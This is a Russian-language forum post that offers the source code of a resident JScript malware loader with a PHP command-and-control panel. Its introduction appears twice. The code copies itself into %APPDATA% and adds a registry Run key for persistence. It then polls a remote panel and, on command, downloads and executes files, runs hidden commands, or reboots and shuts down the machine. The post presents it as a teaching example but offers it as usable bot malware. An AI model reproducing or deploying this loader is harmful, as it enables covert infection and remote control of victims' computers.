Резидентный скриптовый лоадер (исходники JS+PHP)
Всем юзерам ПРИВЕТ, делать было нечего решил вечерком накатать резидентный лоадар на JavaScript/JScript и выложить сообществу, как дань уважения.
Лоадер сделал простой как учебное пособие с коментами, не стал лепить обфускацию и криптование кода, шифрование трафика и антиэмуляци. Все в рамках хорошей статьи.
Что умеет лоадер:
- прописываться в автозагрузку в реестр
- копировать самого себя
- выполнять команды с веб-панели
- висит в памяти
Имеет команды:
- загрузить (Download)
- выполнить (Execute)
- загрузить и выполнить (Download & Execute)
- рестарт компьтютера (Reboot)
- выключение компьютера (Shutdown)
- завернение своей работы (Terminate)
Что не делал (для примера посчитал, что это лишнее):
- вариативность по компонентам ActiveX, методики запуска, методки скачивания, методики автозагрузки
- самоудаление
- обфускацию кода
- шифрование кода
- шифровние трафика
- антиэмуляцию
- билдер
Период заданий:
- выполнить один раз (Every client once)
- выполнять постоянно при подключении (On join)
Панель имеет:
- страницу авторизации
- вкладку заданий
- вкладку списка ботов
- вкладку настройки
(панель я позаимствовал и переделал, уже не помню где)
И так, опишу фугкции самомго лоадера:
Функция случайной генерации ID бота, по этому ID в панели выдаются задания
Функция парсинга имени файла с URL
Функции чтения и записи в файл
Функция получения результатов GET запроса, служит коннекта с панелью
Функция загрузки по URL ссылке файла
Функция создания процесса/выполния команды без ожидания завршения
Функция выполнения задания
Ну и основная стартовая функция с настройками
Панель:
Панель написана на php+bootstrap, закладок нету, но по безопасности я сильно НЕ ЗАПАРИВАЛСЯ
Скопируйте все файлы панели в корневой каталог домена/ip
Стандартный пароль admin:admin (потом можете через панель сменить или в базе)
Дамп MySQL базы находиться в файле dump.sql, саму базу надо создать перед заливкой.
Все настройки в файле config.php:
Полностью весь проект вы можете скачать тут:
Всем юзерам ПРИВЕТ, делать было нечего решил вечерком накатать резидентный лоадар на JavaScript/JScript и выложить сообществу, как дань уважения.
Лоадер сделал простой как учебное пособие с коментами, не стал лепить обфускацию и криптование кода, шифрование трафика и антиэмуляци. Все в рамках хорошей статьи.
Что умеет лоадер:
- прописываться в автозагрузку в реестр
- копировать самого себя
- выполнять команды с веб-панели
- висит в памяти
Имеет команды:
- загрузить (Download)
- выполнить (Execute)
- загрузить и выполнить (Download & Execute)
- рестарт компьтютера (Reboot)
- выключение компьютера (Shutdown)
- завернение своей работы (Terminate)
Что не делал (для примера посчитал, что это лишнее):
- вариативность по компонентам ActiveX, методики запуска, методки скачивания, методики автозагрузки
- самоудаление
- обфускацию кода
- шифрование кода
- шифровние трафика
- антиэмуляцию
- билдер
Период заданий:
- выполнить один раз (Every client once)
- выполнять постоянно при подключении (On join)
Панель имеет:
- страницу авторизации
- вкладку заданий
- вкладку списка ботов
- вкладку настройки
(панель я позаимствовал и переделал, уже не помню где)
И так, опишу фугкции самомго лоадера:
Функция случайной генерации ID бота, по этому ID в панели выдаются задания
Код:
var UUID = function (a){
return"000000000000".replace(/0/g,function(){return(0|Math.random()*16).toString(16)})
}
Функция парсинга имени файла с URL
Код:
var filename = function (url) {
url = url.substring(0, (url.indexOf("#") == -1) ? url.length : url.indexOf("#"));
url = url.substring(0, (url.indexOf("?") == -1) ? url.length : url.indexOf("?"));
url = url.substring(url.lastIndexOf("/") + 1, url.length);
return url;
}
Функции чтения и записи в файл
Код:
var readFile=function (sFileName) {
stream = obj("ADODB.Stream");
stream.Open();
stream.Type = 2;
stream.Position = 0;
// stream.Charset = "utf-8";
stream.LoadFromFile(sFileName);
sResult = stream.ReadText();
stream.Close();
return sResult;
}
var writeFile=function (sFileContent,sFileName) {
adSaveCreateOverWrite = 2;
stream = obj("ADODB.Stream");
stream.Open();
stream.Type = 2;
stream.Position = 0;
// stream.Charset = "utf-8";
stream.WriteText(sFileContent);
stream.SaveToFile(sFileName, adSaveCreateOverWrite);
stream.Close();
}
Функция получения результатов GET запроса, служит коннекта с панелью
Код:
var get = function (el) {
XmlhttpObj = obj("WinHttp.WinHttpRequest.5.1");
XmlhttpObj.open("get",el,0);
Usra = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)";
Usrb = "User-Agent";
XmlhttpObj.SetRequestHeader(Usrb,Usra);
XmlhttpObj.send();
XmlhttpObj.WaitForResponse();
UrlStatus = 200;
if (XmlhttpObj.status == UrlStatus) {
return XmlhttpObj.ResponseText;
}
return "";
}
Функция загрузки по URL ссылке файла
Код:
var load = function (el) {
XmlhttpObj = obj("WinHttp.WinHttpRequest.5.1");
XmlhttpObj.open("get",el,0);
Usra = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)";
Usrb = "User-Agent";
XmlhttpObj.SetRequestHeader(Usrb,Usra);
XmlhttpObj.send();
XmlhttpObj.WaitForResponse();
UrlStatus = 200;
fl=filename(el)
if (XmlhttpObj.status == UrlStatus) {
FsoObj = obj("Scripting.FileSystemObject");
StreamObj = obj("ADODB.Stream");
StreamObj.Open;
StreamObj.Type = 1;
StreamObj.Write(XmlhttpObj.ResponseBody);
if(FsoObj.FileExists(fl)) FsoObj.DeleteFile(fl);
StreamObj.SaveToFile(fl);
StreamObj.Close;
if (!FsoObj.FileExists(fl)) return true;
};
return false;
};
Функция создания процесса/выполния команды без ожидания завршения
Код:
var run = function (el) {
try {
ShellObj = obj("WScript.Shell");
ShellObj.Run(el,0,false);
} catch (e) { };
}
Функция выполнения задания
Код:
var task = function (el) {
cmd=el[0];
dat=el[1];
idd=el[2];
if ((typeof idd == "undefined") || (idd=="")) return;
url = server+"?hwid="+hwid+"&completed="+idd;
data = get(url)
if (cmd=="Download & Execute") {
load(dat);
run(filename(dat));
}
if (cmd=="Download") {
load(dat);
}
if (cmd=="Execute") {
run(dat);
}
if (cmd=="Terminate") {
term=true;
}
if (cmd=="Reboot") {
run("shutdown /r /t 0");
}
if (cmd=="Shutdown") {
run("shutdown /s /t 0");
}
}
Ну и основная стартовая функция с настройками
Код:
var initapp = function () {
server="http://loader/cmd.php"; // URL до нашей панели
folder="loaderPath"; // имя нашей папки куда будем копировать лоадер
botname="loader.js"; // имя файла лоадера
autoname="loaderName"; // название переменной в реестре
uuidname="loaderId.txt"; // имя файла где будет храниться наш уникальный ID
otp="\\";
ShellObj = obj("WScript.Shell");
FsoObj = obj("Scripting.FileSystemObject");
PathY = ShellObj.expandEnvironmentStrings("%APPDATA%"); // получение папки %APPDATA% из окружения
hwid='';
if (!FsoObj.FolderExists(PathY+otp+folder)) { // проверка если папка создана, то не копировать себя (тупо, но работает)
FsoObj.CreateFolder(PathY+otp+folder); // создание папку куда будем копировать наш лоадер
FsoObj.CopyFile(WScript.ScriptFullName, PathY+otp+folder+otp+botname , true);
RegPath = 'HKCU'+otp+'Software'+otp+'Microsoft'+otp+'Windows'+otp+'CurrentVersion'+otp+'Run'+otp+autoname; // путь авозагрузки в реестре (не стал заморачиваться)
ShellObj.RegWrite(RegPath, 'WScript "%APPDATA%'+otp+folder+otp+botname+'"');
hwid=UUID(); // получени уникального ID
writeFile(hwid,PathY+otp+folder+otp+uuidname); // запись ID
ShellObj.CurrentDirectory = PathY+otp+folder; // смена текущей папки
run(botname); // запуск скопированной версии лоадер
return; // выход
}
hwid=readFile(PathY+otp+folder+otp+uuidname); // чтение уникального ID
// крутим цикл
for (;;) {
if (term==true) break; // если поступила команда на выход
WScript.Sleep(15000); // таймер
try {
// соедняемся с панелью, получаем задания и парсим их
url = server+"?hwid="+hwid;
data = get(url)
tasks=data.split('|')
for (i = 0; i< tasks.length; ++i)
if (tasks[i]!='')
task(tasks[i].split(';'));
} catch (e) { }; // на всякий случай
}
};
Панель:
Панель написана на php+bootstrap, закладок нету, но по безопасности я сильно НЕ ЗАПАРИВАЛСЯ
Скопируйте все файлы панели в корневой каталог домена/ip
Стандартный пароль admin:admin (потом можете через панель сменить или в базе)
Дамп MySQL базы находиться в файле dump.sql, саму базу надо создать перед заливкой.
Все настройки в файле config.php:
Код:
error_reporting(0); // отключение ошибок
ini_set("display_errors", "off"); // отключение ошибок
$dblocation = "localhost"; // Имя сервера c SQL базой
$dbuser = "root"; // Логин
$dbpasswd = ""; // Пароль
$dbname = "loader"; // Имя SQL базы
Полностью весь проект вы можете скачать тут: